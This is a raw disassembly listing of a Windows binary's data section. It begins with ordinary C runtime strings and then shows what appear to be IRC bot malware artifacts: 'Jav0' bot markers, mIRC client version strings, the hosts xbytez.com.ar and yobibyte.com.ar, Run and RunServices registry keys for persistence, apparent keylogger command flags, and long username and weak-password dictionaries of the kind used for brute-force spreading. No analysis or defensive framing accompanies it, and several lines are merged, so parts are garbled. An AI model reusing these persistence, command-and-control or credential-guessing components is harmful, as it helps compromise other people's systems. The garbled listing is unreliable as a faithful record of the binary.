aSpanishPuertoR	db 'spanish-puerto rico',0
aSpanishPeru	db 'spanish-peru',0
		align 4
aSpanishParagua	db 'spanish-paraguay',0
		align 10h
aSpanishPanama	db 'spanish-panama',0
		align 10h
aSpanishNicarag	db 'spanish-nicaragua',0
		align 4
aSpanishModern	db 'spanish-modern',0
		align 4
aSpanishMexican	db 'spanish-mexican',0
aSpanishHondura	db 'spanish-honduras',0
		align 4
aSpanishGuatema	db 'spanish-guatemala',0
		align 4
aSpanishElSalva	db 'spanish-el salvador',0
aSpanishEcuador	db 'spanish-ecuador',0
aSpanishDominic	db 'spanish-dominican republic',0
		align 4
aSpanishCostaRi	db 'spanish-costa rica',0
		align 10h
aSpanishColombi	db 'spanish-colombia',0
		align 4
aSpanishChile	db 'spanish-chile',0
		align 4
aSpanishBolivia	db 'spanish-bolivia',0
aSpanishArgenti	db 'spanish-argentina',0
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0
		align 10h
aNorwegianNynor	db 'norwegian-nynorsk',0
		align 4
aNorwegianBokma	db 'norwegian-bokmal',0
		align 4
aNorwegian	db 'norwegian',0
		align 4
aItalianSwiss	db 'italian-swiss',0
		align 4
aIrishEnglish	db 'irish-english',0
		align 4
aGermanSwiss	db 'german-swiss',0
		align 4
aGermanLuxembou	db 'german-luxembourg',0
		align 4
aGermanLichtens	db 'german-lichtenstein',0
aGermanAustrian	db 'german-austrian',0
aFrenchSwiss	db 'french-swiss',0
		align 4
aFrenchLuxembou	db 'french-luxembourg',0
		align 10h
aFrenchCanadian	db 'french-canadian',0
aFrenchBelgian	db 'french-belgian',0
		align 10h
aEnglishUsa	db 'english-usa',0
aEnglishUs	db 'english-us',0
		align 4
aEnglishUk	db 'english-uk',0
		align 4
aEnglishTrinida	db 'english-trinidad y tobago',0
		align 10h
aEnglishSouthAf	db 'english-south africa',0
		align 4
aEnglishNz	db 'english-nz',0
		align 4
aEnglishJamaica	db 'english-jamaica',0
aEnglishIre	db 'english-ire',0
aEnglishCaribbe	db 'english-caribbean',0
		align 4
aEnglishCan	db 'english-can',0
aEnglishBelize	db 'english-belize',0
		align 10h
aEnglishAus	db 'english-aus',0
aEnglishAmerica	db 'english-american',0
		align 10h
aDutchBelgian	db 'dutch-belgian',0
		align 10h
aChineseTraditi	db 'chinese-traditional',0
aChineseSingapo	db 'chinese-singapore',0
		align 4
aChineseSimplif	db 'chinese-simplified',0
		align 4
aChineseHongkon	db 'chinese-hongkong',0
		align 10h
aChinese	db 'chinese',0
aChi		db 'chi',0
aChh		db 'chh',0
aCanadian	db 'canadian',0
		align 4
aBelgian	db 'belgian',0
aAustralian	db 'australian',0
		align 10h
aAmericanEnglis	db 'american-english',0
		align 4
aAmericanEngl_0	db 'american english',0
		align 4
aAmerican	db 'american',0         ; DATA XREF: .data:off_4480A0o
		align 4
aOcp		db 'OCP',0              ; DATA XREF: sub_42DC00:loc_42DC53o
aAcp		db 'ACP',0              ; DATA XREF: sub_42DC00+16o
aChsize_c	db 'chsize.c',0         ; DATA XREF: sub_42E2C0+38o
		align 4
aSize0		db 'size >= 0',0        ; DATA XREF: sub_42E2C0+2Co
		align 4
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_42F370:loc_42F52Fo
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_42F370+19Bo
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_42F370+168o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_42F370+125o
		align 4
aHMmSs		db 'H:mm:ss',0          ; DATA XREF: .data:00448358o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00448354o
aMDYy		db 'M/d/yy',0           ; DATA XREF: .data:00448350o
		align 4
aPm_1		db 'PM',0               ; DATA XREF: .data:0044834Co
		align 4
aAm_0		db 'AM',0               ; DATA XREF: .data:00448348o
		align 10h
aDecember	db 'December',0         ; DATA XREF: .data:00448344o
		align 4
aNovember	db 'November',0         ; DATA XREF: .data:00448340o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:0044833Co
aSeptember	db 'September',0        ; DATA XREF: .data:00448338o
		align 4
aAugust		db 'August',0           ; DATA XREF: .data:00448334o
		align 4
aJuly		db 'July',0             ; DATA XREF: .data:00448330o
		align 4
aJune		db 'June',0             ; DATA XREF: .data:0044832Co
		align 4
aApril		db 'April',0            ; DATA XREF: .data:00448324o
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:00448320o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .data:0044831Co
		align 10h
aJanuary	db 'January',0          ; DATA XREF: .data:00448318o
aDec		db 'Dec',0              ; DATA XREF: .data:00448314o
aNov		db 'Nov',0              ; DATA XREF: .data:00448310o
aOct		db 'Oct',0              ; DATA XREF: .data:0044830Co
aSep		db 'Sep',0              ; DATA XREF: .data:00448308o
aAug		db 'Aug',0              ; DATA XREF: .data:00448304o
aJul		db 'Jul',0              ; DATA XREF: .data:00448300o
aJun		db 'Jun',0              ; DATA XREF: .data:004482FCo
aMay		db 'May',0              ; DATA XREF: .data:004482F8o
					; .data:00448328o
aApr		db 'Apr',0              ; DATA XREF: .data:004482F4o
aMar		db 'Mar',0              ; DATA XREF: .data:004482F0o
aFeb		db 'Feb',0              ; DATA XREF: .data:004482ECo
aJan		db 'Jan',0              ; DATA XREF: .data:004482E8o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:004482E4o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .data:004482E0o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .data:004482DCo
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:004482D8o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:004482D4o
aMonday		db 'Monday',0           ; DATA XREF: .data:004482D0o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .data:004482CCo
		align 4
aSat		db 'Sat',0              ; DATA XREF: .data:004482C8o
aFri		db 'Fri',0              ; DATA XREF: .data:004482C4o
aThu		db 'Thu',0              ; DATA XREF: .data:004482C0o
aWed		db 'Wed',0              ; DATA XREF: .data:004482BCo
aTue		db 'Tue',0              ; DATA XREF: .data:004482B8o
aMon		db 'Mon',0              ; DATA XREF: .data:004482B4o
aSun		db 'Sun',0              ; DATA XREF: .data:off_4482B0o
aAP		db 'a/p',0              ; DATA XREF: sub_4307E0:loc_4309D3o
aAmPm		db 'am/pm',0            ; DATA XREF: sub_4307E0:loc_4309B3o
		align 4
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_430D00+9Co
					; sub_430D00+F1o
		align 10h
dword_435F80	dd 0FFFFFFFFh, 4310C7h,	4310CDh, 0FFFFFFFFh, 431146h, 43114Ch
					; DATA XREF: sub_430FA0+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 10h
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: sub_431AB0+1D1o
aTz		db 'TZ',0               ; DATA XREF: sub_431AB0+35o
		align 8
dword_435FE8	dd 0FFFFFFFFh, 43248Dh,	432493h, 0dword_435FF8	dd 0FFFFFFFFh, 43262Fh,	432635hdword_436004	dd 6D6F7477h, 766E6562h, 632Ehdword_436010	dd 6D635F61h, 632E70haCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: sub_4328E0:loc_432A53o
		align 4
dword_436058	dd 0FFFFFFFFh, 432BBFh,	432BC5h, 0FFFFFFFFh, 432C5Dh, 432C63h
					; DATA XREF: sub_4328E0+5o
dword_436070	dd 65746573h, 632E766Eh, 0					; sub_432D30+F2o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_433270+1Fo
		dd offset dword_436170
off_436090	dd offset sub_4333F0	; DATA XREF: sub_4332D0+44o
					; sub_433390+1Fo ...
		dd offset sub_433340
		dd offset sub_433360
		dd offset dword_4361C0
off_4360A0	dd offset sub_433510	; DATA XREF: sub_433420+16o
					; sub_4334C0+Ao ...
		dd offset sub_433340
		dd offset sub_4334E0
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_433570+1Fo
		dd offset dword_436210
off_4360C8	dd offset sub_433650	; DATA XREF: sub_4335D0+16o
					; sub_433600+Ao ...
		dd offset sub_433340
		dd offset sub_433620
		dd 0FFFFFFFFh, 436240h
off_4360DC	dd offset sub_433B50	; DATA XREF: .data:00433B2Ao
					; sub_433B80+Co ...
		dd offset sub_433CF0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_433CF0:loc_433D08o
		align 4
		dd offset dword_436288
off_4360FC	dd offset sub_433D60	; DATA XREF: sub_433D20+Ao
					; .data:00433E4Ao ...
dword_436100	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_436120	dd offset off_448780	; DATA XREF: .data:00436154o
					; .data:004361A8o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_436138	dd offset off_448798	; DATA XREF: .data:00436150o
					; .data:004361A4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_436138
		dd offset off_436120
dword_436158	dd 4 dup(0)			dd 2, 436150h
dword_436170	dd 3 dup(0)			dd offset off_448798
		dd offset dword_436158+8
		align 8
off_436188	dd offset off_4487B8	; DATA XREF: .data:004361A0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_436188
		dd offset off_436138
		dd offset off_436120
dword_4361AC	dd 3 dup(0)			dd 3, 4361A0h
dword_4361C0	dd 3 dup(0)			dd offset off_4487B8
		dd offset dword_4361AC+4
		align 8
off_4361D8	dd offset off_4487D8	; DATA XREF: .data:004361F0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4361D8
		dd offset off_436138
		dd offset off_436120
dword_4361FC	dd 3 dup(0)			dd 3, 4361F0h
dword_436210	dd 3 dup(0)			dd offset off_4487D8
		dd offset dword_4361FC+4
		dd offset off_436120
dword_436228	dd 4 dup(0)			dd 1, 436224h, 3 dup(0)
		dd offset off_448780
		dd offset dword_436228+8
		align 8
off_436258	dd offset off_4487F8	; DATA XREF: .data:00436270o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_436258
		dd 0
		db    0			; DATA XREF: .data:00436298o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 436270h
dword_436288	dd 3 dup(0)			dd offset off_4487F8
		dd offset unk_436278
		align 10h
		dd 0FFFFFFFFh, 433EC0h,	0
		dd offset loc_433EC8
		dd 1, 433ED0h, 2, 433ED8h
dword_4362C0	dd 19930520h, 4, 4362A0h, 4 dup(0)		dd 0FFFFFFFFh, 433EF4h,	0
		dd offset loc_433EEC
dword_4362EC	dd 19930520h, 2, 4362DCh, 4 dup(0)		dd 0FFFFFFFFh, 433F15h,	0
		dd offset loc_433F1D
dword_436318	dd 19930520h, 2, 436308h, 4 dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40C068
		dd 2 dup(0)
		dd 2 dup(1), 436344h
dword_436368	dd 19930520h, 2, 436334h, 1, 436354h, 4	dup(0)
					; DATA XREF: .data:loc_433F30o
		dd offset off_448780
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	433BF0h, 2 dup(0)
		dd offset off_448798
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4332D0h, 2 dup(0)
		dd offset off_4487B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	433540h, 0
dword_4363E8	dd 3, 4363C8h, 4363A8h,	436388hdword_4363F8	dd 0							; sub_4334E0+15o
		dd offset sub_4334C0
		dd 0
		dd offset dword_4363E8
dword_436408	dd 19930520h, 1, 436428h, 5 dup(0)		dd 0FFFFFFFFh, 433F40h
dword_436430	dd 19930520h, 1, 436450h, 5 dup(0)dword_436450	dd 0FFFFFFFFh, 433F60h,	2, 4363A8h, 436388h, 0dword_436468	dd 0				dd offset sub_433390
		dd 0
		dd offset dword_436450+8
dword_436478	dd 19930520h, 1, 436498h, 5 dup(0)		dd 0FFFFFFFFh, 433F80h
dword_4364A0	dd 19930520h, 1, 4364C0h, 5 dup(0)		dd 0FFFFFFFFh, 433FA0h,	0
		dd offset off_4487D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	433680h, 0
dword_4364E8	dd 3, 4364C8h, 4363A8h,	436388hdword_4364F8	dd 0							; sub_433620+15o
		dd offset sub_433600
		dd 0
		dd offset dword_4364E8
dword_436508	dd 19930520h, 1, 436528h, 5 dup(0)		dd 0FFFFFFFFh, 433FC0h,	2B4h dup(0)
dword_437000	dd 0				dd offset loc_4013E8
		dd offset loc_40BB98
		dd offset sub_40CE39
		dd offset sub_4336B0
dword_437014	dd 0		dword_437018	dd 0				dd offset sub_419F80
		dd offset sub_41ACD0
		dd offset sub_4222D0
		dd offset sub_42A550
dword_43702C	dd 0		dword_437030	dd 0				dd offset sub_41AE00
dword_437038	dd 0		dword_43703C	dd 0				dd offset sub_42A570
dword_437044	dd 3 dup(0)	dword_437050	dd 80000002h	off_437054	dd offset byte_4371E8	; DATA XREF: sub_401000+1Er
		dd 80000002h, 437218h, 80000001h, 4371E8h
dword_437068	dd 6272h, 0	dword_437070	dd 1E60h						; sub_401404+517r
dword_437074	dd 1E60h			dd 7E4h
dword_43707C	dd 45h							; sub_40A01B+3Br
dword_437080	dd 52h							; sub_40A01B:loc_40A403r
		dd 201h
word_437088	dw 7C7h			; DATA XREF: sub_401C87:loc_4042C3r
		align 4
dword_43708C	dd 1		dword_437090	dd 1		dword_437094	dd 1							; sub_411DDE+Cr
byte_437098	db 2Eh			; DATA XREF: sub_401C87+A60r
					; sub_401C87+B1Ar ...
		align 4
dword_43709C	dd 5							; sub_408F7D+5Fr ...
dword_4370A0	dd 4							; sub_401C87+277r ...
dword_4370A4	dd 1							; sub_401C87+271r
aJav0		db 'Jav0',0             ; DATA XREF: sub_401404+5Do
					; sub_401C87:loc_404122o ...
		align 10h
aModdd		db 'Moddd',0            ; DATA XREF: sub_401C87:loc_4044AFo
					; sub_401C87+3C20o
		align 4
a_a159753acdb	db '_A159753AcDb',0     ; DATA XREF: sub_401C87+5809o
					; sub_401C87+58CCo
		align 4
aXbytez_com_ar	db 'xbytez.com.ar',0    ; DATA XREF: sub_401404+47Bo
					; sub_401404+508o
		align 4
byte_4370D8	db 5Fh			; DATA XREF: sub_401B0B+28r
					; sub_401B0B+30o
aA159753	db 'A159753',0
		align 4
aJ00		db '#j00#',0            ; DATA XREF: sub_401404+49Bo
					; sub_401404+51Eo
		align 4
byte_4370EC	db 63h			; DATA XREF: sub_401404+140o
					; sub_401404+164w ...
		db 73h,	69h, 72h
		dd 6F716B68h, 6578652Eh, 0
		dd 6E6E6977h, 78742E74h, 74h
aWindowsService	db 'Windows Service',0  ; DATA XREF: sub_401000+Bo
aJav0_0		db '[Jav0]',0           ; DATA XREF: .data:00408FFBo
		align 10h
aWinsyf_dat	db 'winsyf.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401C87+5945o
		align 4
aXp_0		db '#xp',0              ; DATA XREF: sub_401C87+168Eo
					; sub_401C87+192Do ...
aKl_0		db '#kl',0
aPs_1		db '#ps',0
a@yobibyte_com_	db '*@yobibyte.com.ar',0 ; DATA XREF: .data:off_437154o
		align 4
off_437154	dd offset a@yobibyte_com_ ; DATA XREF: sub_401C87+586Cr
					; "*@yobibyte.com.ar"
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_4371D8o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371DCo
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371E0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371E4o
		align 4
off_4371D8	dd offset aMircV6_16Khale ; DATA XREF: sub_401C87+880r
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
byte_4371E8	db 53h			; DATA XREF: .data:off_437054o
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_413FC4+28o
					; sub_4142EA+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_413FC4+D4o
					; sub_4142EA+D4o
		align 10h
		dd 1
dword_437294	dd 1		aAdministrato_1	db 'administrator',0    ; DATA XREF: .data:00437350o
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: .data:00437354o
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: .data:00437358o
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: .data:0043735Co
aAdmins_0	db 'admins',0           ; DATA XREF: .data:00437360o
		align 4
aAdmin_1	db 'admin',0            ; DATA XREF: .data:00437364o
		align 4
aStaff_0	db 'staff',0            ; DATA XREF: .data:00437368o
		align 4
aRoot_1		db 'root',0             ; DATA XREF: .data:0043736Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:00437370o
		align 10h
aOwner		db 'owner',0            ; DATA XREF: .data:00437374o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: .data:00437378o
aTeacher_0	db 'teacher',0          ; DATA XREF: .data:0043737Co
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:00437380o
		align 4
aGuest_1	db 'guest',0            ; DATA XREF: .data:00437384o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: .data:00437388o
aDatabase_0	db 'database',0         ; DATA XREF: .data:0043738Co
		align 10h
aDba		db 'dba',0              ; DATA XREF: .data:00437390o
aOracle_0	db 'oracle',0           ; DATA XREF: .data:00437394o
		align 4
aDb2_0		db 'db2',0              ; DATA XREF: .data:00437398o
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_1	; "admin"
		dd offset aStaff_0	; "staff"
		dd offset aRoot_1	; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_1	; "guest"
		dd offset aDefault_0	; "default"
		dd offset aDatabase_0	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle_0	; "oracle"
		dd offset aDb2_0	; "db2"
		align 10h
aAdministrato_2	db 'administrator',0    ; DATA XREF: .data:00437814o
		align 10h
aAdministrado_1	db 'administrador',0    ; DATA XREF: .data:00437818o
		align 10h
aAdministrate_1	db 'administrateur',0   ; DATA XREF: .data:0043781Co
		align 10h
aAdministrat_1	db 'administrat',0      ; DATA XREF: .data:00437820o
aAdmins_1	db 'admins',0           ; DATA XREF: .data:00437824o
		align 4
aAdmin_2	db 'admin',0            ; DATA XREF: .data:00437828o
		align 4
aAdm_0		db 'adm',0              ; DATA XREF: .data:0043782Co
aPassword1_0	db 'password1',0        ; DATA XREF: .data:00437830o
		align 4
aPassword_0	db 'password',0         ; DATA XREF: .data:00437834o
		align 4
aPasswd_0	db 'passwd',0           ; DATA XREF: .data:00437838o
		align 10h
aPass1234_0	db 'pass1234',0         ; DATA XREF: .data:0043783Co
		align 4
aPass_1		db 'pass',0             ; DATA XREF: .data:00437840o
		align 4
aPwd_0		db 'pwd',0              ; DATA XREF: .data:00437844o
a007_0		db '007',0              ; DATA XREF: .data:00437848o
a1_0:					; DATA XREF: .data:0043784Co
		unicode	0, <1>,0
a12_0		db '12',0               ; DATA XREF: .data:00437850o
		align 4
a123_0		db '123',0              ; DATA XREF: .data:00437854o
a1234_0		db '1234',0             ; DATA XREF: .data:00437858o
		align 10h
a12345_0	db '12345',0            ; DATA XREF: .data:0043785Co
		align 4
a123456_0	db '123456',0           ; DATA XREF: .data:00437860o
		align 10h
a1234567_0	db '1234567',0          ; DATA XREF: .data:00437864o
a12345678_0	db '12345678',0         ; DATA XREF: .data:00437868o
		align 4
a123456789_0	db '123456789',0        ; DATA XREF: .data:0043786Co
		align 10h
a1234567890_0	db '1234567890',0       ; DATA XREF: .data:00437870o
		align 4
a2000_0		db '2000',0             ; DATA XREF: .data:00437874o
		align 4
a2001_0		db '2001',0             ; DATA XREF: .data:00437878o
		align 4
a2002_0		db '2002',0             ; DATA XREF: .data:0043787Co
		align 4
a2003_1		db '2003',0             ; DATA XREF: .data:00437880o
		align 4
a2004_0		db '2004',0             ; DATA XREF: .data:00437884o
		align 4
aTest_0		db 'test',0             ; DATA XREF: .data:00437888o
		align 4
aGuest_2	db 'guest',0            ; DATA XREF: .data:0043788Co
		align 4
aNone_0		db 'none',0             ; DATA XREF: .data:00437890o
		align 4
aDemo_0		db 'demo',0             ; DATA XREF: .data:00437894o
		align 4
aUnix_0		db 'unix',0             ; DATA XREF: .data:00437898o
		align 4
aLinux_0	db 'linux',0            ; DATA XREF: .data:0043789Co
		align 4
aChangeme_0	db 'changeme',0         ; DATA XREF: .data:004378A0o
		align 10h
aDefault_1	db 'default',0          ; DATA XREF: .data:004378A4o
aSystem_0	db 'system',0           ; DATA XREF: .data:004378A8o
		align 10h
aServer_6	db 'server',0           ; DATA XREF: .data:004378ACo
		align 4
aRoot_2		db 'root',0             ; DATA XREF: .data:004378B0o
		align 10h
aNull_2		db 'null',0             ; DATA XREF: .data:004378B4o
		align 4
aQwerty_0	db 'qwerty',0           ; DATA XREF: .data:004378B8o
		align 10h
aMail_0		db 'mail',0             ; DATA XREF: .data:004378BCo
		align 4
aOutlook_0	db 'outlook',0          ; DATA XREF: .data:004378C0o
aWeb_0		db 'web',0              ; DATA XREF: .data:004378C4o
aWww_0		db 'www',0              ; DATA XREF: .data:004378C8o
aInternet_1	db 'internet',0         ; DATA XREF: .data:004378CCo
		align 4
aAccounts_0	db 'accounts',0         ; DATA XREF: .data:004378D0o
		align 10h
aAccounting_0	db 'accounting',0       ; DATA XREF: .data:004378D4o
		align 4
aHome_0		db 'home',0             ; DATA XREF: .data:004378D8o
		align 4
aHomeuser_0	db 'homeuser',0         ; DATA XREF: .data:004378DCo
		align 10h
aUser_4		db 'user',0             ; DATA XREF: .data:004378E0o
		align 4
aOem_0		db 'oem',0              ; DATA XREF: .data:004378E4o
aOemuser_0	db 'oemuser',0          ; DATA XREF: .data:004378E8o
aOeminstall_0	db 'oeminstall',0       ; DATA XREF: .data:004378ECo
		align 10h
aWindows_0	db 'windows',0          ; DATA XREF: .data:004378F0o
aWin98_0	db 'win98',0            ; DATA XREF: .data:004378F4o
		align 10h
aWin2k_0	db 'win2k',0            ; DATA XREF: .data:004378F8o
		align 4
aWinxp_0	db 'winxp',0            ; DATA XREF: .data:004378FCo
		align 10h
aWinnt_0	db 'winnt',0            ; DATA XREF: .data:00437900o
		align 4
aWin2000_0	db 'win2000',0          ; DATA XREF: .data:00437904o
aQaz_0		db 'qaz',0              ; DATA XREF: .data:00437908o
aAsd_0		db 'asd',0              ; DATA XREF: .data:0043790Co
aZxc_0		db 'zxc',0              ; DATA XREF: .data:00437910o
aQwe_0		db 'qwe',0              ; DATA XREF: .data:00437914o
aBob_1		db 'bob',0              ; DATA XREF: .data:00437918o
aJen_0		db 'jen',0              ; DATA XREF: .data:0043791Co
aJoe_0		db 'joe',0              ; DATA XREF: .data:00437920o
aFred_0		db 'fred',0             ; DATA XREF: .data:00437924o
		align 4
aBill_0		db 'bill',0             ; DATA XREF: .data:00437928o
		align 4
aMike_0		db 'mike',0             ; DATA XREF: .data:0043792Co
		align 4
aJohn_0		db 'john',0             ; DATA XREF: .data:00437930o
		align 4
aPeter_1	db 'peter',0            ; DATA XREF: .data:00437934o
		align 4
aLuke_0		db 'luke',0             ; DATA XREF: .data:00437938o
		align 4
aSam_0		db 'sam',0              ; DATA XREF: .data:0043793Co
aSue_0		db 'sue',0              ; DATA XREF: .data:00437940o
aSusan_0	db 'susan',0            ; DATA XREF: .data:00437944o
		align 4
aPeter_2	db 'peter',0            ; DATA XREF: .data:00437948o
		align 4
aBrian_0	db 'brian',0            ; DATA XREF: .data:0043794Co
		align 4
aLee_0		db 'lee',0              ; DATA XREF: .data:00437950o
aNeil_0		db 'neil',0             ; DATA XREF: .data:00437954o
		align 4
aIan_0		db 'ian',0              ; DATA XREF: .data:00437958o
aChris_0	db 'chris',0            ; DATA XREF: .data:0043795Co
		align 4
aEric_0		db 'eric',0             ; DATA XREF: .data:00437960o
		align 4
aGeorge_0	db 'george',0           ; DATA XREF: .data:00437964o
		align 4
aKate_0		db 'kate',0             ; DATA XREF: .data:00437968o
		align 4
aBob_2		db 'bob',0              ; DATA XREF: .data:0043796Co
aKatie_0	db 'katie',0            ; DATA XREF: .data:00437970o
		align 4
aMary_0		db 'mary',0             ; DATA XREF: .data:00437974o
		align 10h
aLogin_1	db 'login',0            ; DATA XREF: .data:00437978o
		align 4
aLoginpass_0	db 'loginpass',0        ; DATA XREF: .data:0043797Co
		align 4
aTechnical_0	db 'technical',0        ; DATA XREF: .data:00437980o
		align 10h
aBackup_0	db 'backup',0           ; DATA XREF: .data:00437984o
		align 4
aExchange_0	db 'exchange',0         ; DATA XREF: .data:00437988o
		align 4
aFuck_0		db 'fuck',0             ; DATA XREF: .data:0043798Co
		align 4
aBitch_0	db 'bitch',0            ; DATA XREF: .data:00437990o
		align 4
aSlut_0		db 'slut',0             ; DATA XREF: .data:00437994o
		align 4
aSex_0		db 'sex',0              ; DATA XREF: .data:00437998o
aGod_0		db 'god',0              ; DATA XREF: .data:0043799Co
aHell_0		db 'hell',0             ; DATA XREF: .data:004379A0o
		align 4
aHello_0	db 'hello',0            ; DATA XREF: .data:004379A4o
		align 4
aDomain_0	db 'domain',0           ; DATA XREF: .data:004379A8o
		align 4
aDomainpass_0	db 'domainpass',0       ; DATA XREF: .data:004379ACo
		align 4
aDomainpasswo_0	db 'domainpassword',0   ; DATA XREF: .data:004379B0o
		align 4
aDatabase_1	db 'database',0         ; DATA XREF: .data:004379B4o
		align 4
aAccess_0	db 'access',0           ; DATA XREF: .data:004379B8o
		align 4
aDbpass_0	db 'dbpass',0           ; DATA XREF: .data:004379BCo
		align 4
aDbpassword_0	db 'dbpassword',0       ; DATA XREF: .data:004379C0o
		align 10h
aDatabasepass_0	db 'databasepass',0     ; DATA XREF: .data:004379C4o
		align 10h
aData_0		db 'data',0             ; DATA XREF: .data:004379C8o
		align 4
aDatabasepass_1	db 'databasepassword',0 ; DATA XREF: .data:004379CCo
		align 4
aDb1_0		db 'db1',0              ; DATA XREF: .data:004379D0o
aDb2_1		db 'db2',0              ; DATA XREF: .data:004379D4o
aDb1234_0	db 'db1234',0           ; DATA XREF: .data:004379D8o
		align 4
aSa_1		db 'sa',0               ; DATA XREF: .data:004379DCo
		align 10h
aSql_0		db 'sql',0              ; DATA XREF: .data:004379E0o
aSqlpassoains_0	db 'sqlpassoainstall',0 ; DATA XREF: .data:004379E4o
		align 4
aOrainstall_0	db 'orainstall',0       ; DATA XREF: .data:004379E8o
		align 4
aOracle_1	db 'oracle',0           ; DATA XREF: .data:004379ECo
		align 4
aIbm_0		db 'ibm',0              ; DATA XREF: .data:004379F0o
aCisco_0	db 'cisco',0            ; DATA XREF: .data:004379F4o
		align 4
aDell_0		db 'dell',0             ; DATA XREF: .data:004379F8o
		align 10h
aCompaq_0	db 'compaq',0           ; DATA XREF: .data:004379FCo
		align 4
aSiemens_0	db 'siemens',0          ; DATA XREF: .data:00437A00o
aHp_0		db 'hp',0               ; DATA XREF: .data:00437A04o
		align 4
aNokia_0	db 'nokia',0            ; DATA XREF: .data:00437A08o
		align 4
aXp_1		db 'xp',0               ; DATA XREF: .data:00437A0Co
		align 10h
aControl_0	db 'control',0          ; DATA XREF: .data:00437A10o
aOffice_0	db 'office',0           ; DATA XREF: .data:00437A14o
		align 10h
aBlank_0	db 'blank',0            ; DATA XREF: .data:00437A18o
		align 4
aWinpass_0	db 'winpass',0          ; DATA XREF: .data:00437A1Co
aMain_0		db 'main',0             ; DATA XREF: .data:00437A20o
		align 4
aLan_0		db 'lan',0              ; DATA XREF: .data:00437A24o
aInternet_2	db 'internet',0         ; DATA XREF: .data:00437A28o
		align 4
aIntranet_0	db 'intranet',0         ; DATA XREF: .data:00437A2Co
		align 4
aStudent_1	db 'student',0          ; DATA XREF: .data:00437A30o
aTeacher_1	db 'teacher',0          ; DATA XREF: .data:00437A34o
aStaff_1	db 'staff',0            ; DATA XREF: .data:00437A38o
		align 10h
		dd offset byte_4D6511
		dd offset aAdministrato_2 ; "administrator"
		dd offset aAdministrado_1 ; "administrador"
		dd offset aAdministrate_1 ; "administrateur"
		dd offset aAdministrat_1 ; "administrat"
		dd offset aAdmins_1	; "admins"
		dd offset aAdmin_2	; "admin"
		dd offset aAdm_0	; "adm"
		dd offset aPassword1_0	; "password1"
		dd offset aPassword_0	; "password"
		dd offset aPasswd_0	; "passwd"
		dd offset aPass1234_0	; "pass1234"
		dd offset aPass_1	; "pass"
